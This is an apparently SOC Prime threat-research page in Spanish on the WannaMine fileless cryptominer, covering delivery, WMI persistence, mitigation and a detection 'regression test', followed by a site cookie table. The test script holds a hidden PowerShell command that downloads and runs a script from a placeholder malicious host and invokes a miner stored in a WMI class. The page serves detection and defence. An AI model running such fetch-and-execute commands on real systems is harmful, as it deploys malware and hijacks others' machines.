Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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Análisis del Cryptominer WannaMine: Ejecución Sin Archivos y Persistencia

Detection stack

AIDR
Alert
ETL
Query

Informe de Amenazas
Flujo de Ataque
Detecciones
Simulaciones

Resumen

WannaMine es un gusano de criptominería sin archivos que se basa en herramientas ya incluidas en el sistema, principalmente PowerShell y Windows Management Instrumentation (WMI), para permanecer residente en la memoria y minar Monero.

Investigación

WannaMine se entrega ya sea a través de correos electrónicos de phishing que contienen archivos por lotes maliciosos o explotando la vulnerabilidad SMB EternalBlue. Para la persistencia, registra suscripciones a eventos WMI y almacena PowerShell codificado en clases WMI personalizadas.

Mitigación de WannaMine

Prevenga la explotación de EternalBlue parcheando SMB (MS17-010). Restringa la ejecución y monitoreo de PowerShell, observe la creación inusual de clases WMI y consumidores de eventos, y aplique el principio de privilegio mínimo para limitar el uso indebido de credenciales.

Respuesta

Alerta sobre comportamiento anormal de PowerShell/WMI, aísle los hosts afectados, elimine los consumidores/suscripciones de eventos WMI maliciosos, rote las credenciales potencialmente expuestas y realice análisis de memoria para confirmar el minero en memoria.

«graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[«Acción – T1566.001 Phishing: Spearphishing Attachment entregando un archivo por lotes malicioso»] class action_phishing action action_user_exec[«Acción – T1204 Ejecución de Usuario: La víctima ejecuta el archivo por lotes que lanza PowerShell»] class action_user_exec action action_powershell_exec[«Acción – T1059.001 PowerShell: Script de PowerShell oculto determina la arquitectura del SO y descarga la carga útil»] class action_powershell_exec action action_wmi_persistence[«Acción – T1546.003 Suscripción a Eventos WMI: El malware crea clases WMI personalizadas y registra consumidores de eventos»] class action_wmi_persistence action action_pass_the_hash[«Acción – T1550.002 Pass the Hash: Se reutilizan hashes NTLM extraídos»] class action_pass_the_hash action action_wmiexec[«Acción – Movimiento Lateral vía WMIExec: Hashes utilizados para ejecutar PowerShell en hosts remotos»] class action_wmiexec action action_eternalblue[«Acción – T1210 Explotación de Servicios Remotos: EternalBlue (MS17u2011010) usado cuando falla la reutilización de hashes»] class action_eternalblue action action_defense_evasion[«Acción – T1550 Uso de Material de Autenticación Alternativo: Reutilizar hashes robados evita las solicitudes de credenciales»] class action_defense_evasion action action_compute_hijacking[«Acción – T1496.001 Secuestro de Computo: El sistema se configura para minar criptomoneda Monero»] class action_compute_hijacking action action_power_settings[«Acción – T1653 Configuración de Energía: Administración de energía alterada para prevenir el sueño y mantener activa la minería»] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[«Herramienta – Nombre: Archivo por Lotes Malicioso Descripción: Contenedor para el comando inicial de PowerShell»] class file_batch tool tool_powershell[«Herramienta – Nombre: PowerShell Descripción: Motor de scripting utilizado para descarga y ejecución»] class tool_powershell tool tool_wmi[«Herramienta – Nombre: Instrumentación de Administración de Windows Descripción: Registra suscripciones de eventos para persistencia»] class tool_wmi tool tool_mimikatz[«Herramienta – Nombre: Módulo Mimikatz Descripción: Extrae hashes NTLM de la memoria»] class tool_mimikatz tool tool_wmiexec[«Herramienta – Nombre: WMIExec Descripción: Ejecuta comandos en máquinas remotas vía WMI»] class tool_wmiexec tool exploit_eternalblue[«Herramienta – Nombre: Exploit EternalBlue Descripción: Explota la vulnerabilidad SMB MS17u2011010»] class exploit_eternalblue tool malware_payload[«Malware – Nombre: Carga Útil Personalizada Descripción: Componente descargado que realiza minería»] class malware_payload malware process_download[«Proceso – Nombre: Descarga de Carga Útil Remota Descripción: Recupera binario adecuado para la arquitectura del SO»] class process_download process process_mining[«Proceso – Nombre: Minero de Monero Descripción: Consume ciclos de CPU para minería de criptomoneda»] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|entrega| file_batch file_batch u002du002d>|ejecutado_por_el_usuario| action_user_exec action_user_exec u002du002d>|desencadena| action_powershell_exec action_powershell_exec u002du002d>|utiliza| tool_powershell action_powershell_exec u002du002d>|descarga| process_download process_download u002du002d>|almacena_como| malware_payload malware_payload u002du002d>|crea| action_wmi_persistence action_wmi_persistence u002du002d>|utiliza| tool_wmi action_wmi_persistence u002du002d>|extrae_hashes_con| tool_mimikatz tool_mimikatz u002du002d>|habilita| action_pass_the_hash action_pass_the_hash u002du002d>|habilita| action_wmiexec action_pass_the_hash u002du002d>|retrocede_a| action_eternalblue action_wmiexec u002du002d>|realiza_movimiento_lateral| process_mining action_eternalblue u002du002d>|explota| exploit_eternalblue exploit_eternalblue u002du002d>|gana_acceso_para| process_mining process_mining u002du002d>|conduce_a| action_defense_evasion action_defense_evasion u002du002d>|habilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings «

Flujo de Ataque

Narrativa de Ataque y Comandos:
Un atacante obtiene ejecución de código remoto en un punto final de Windows. Para evitar la interacción del usuario, lanza PowerShell en una ventana oculta (-W Hidden) sin perfil (-NoP) y no interactiva (-NonI). El comando utiliza IEX para descargar una carga útil de PowerShell desde un servidor HTTP malicioso (http://malicious:8000/in6.ps1). El script descargado registra una clase WMI nombrada Office_Updater bajo rootdefault que almacena una propiedad mon que contiene un minero de Monero codificado en Base64. Luego, el atacante lee la propiedad a través de [WmiClass] y la invoca, lanzando efectivamente el criptominero sin crear un nuevo proceso. Esta secuencia coincide con las tres subcadenas de línea de comando de la regla de detección.

Script de Prueba de Regresión:

#-------------------------------------------------
# Simular ejecución de criptominero sin archivos WannaMine
#-------------------------------------------------
$maliciousServer = "http://malicious:8000"
$payloadPath     = "$maliciousServer/in6.ps1"

# 1. Ejecución de PowerShell oculta, no interactiva
$cmd = "-NoP -NonI -W Hidden " +
       "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
       "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"

# Invocar el comando (esto es lo que el atacante ejecutaría)
Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow

# Nota: Se asume que el script remoto (in6.ps1) crea la clase WMI
# con una propiedad "mon" que contiene el código de minería.

Comandos de Limpieza:

# Eliminar la clase WMI maliciosa
Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue

# Detener cualquier proceso de minería de PowerShell restante (si alguno fue lanzado)
Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
    Where-Object {$_.CommandLine -match "mon"} |
    Stop-Process -Force

# Opcional: Limpiar archivos de transcripción/log de PowerShell creados durante la prueba
Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
ss	These cookies enable the website to provide enhanced functionality and personalisation . They may be set by us or by third party providers whose services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality .

Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.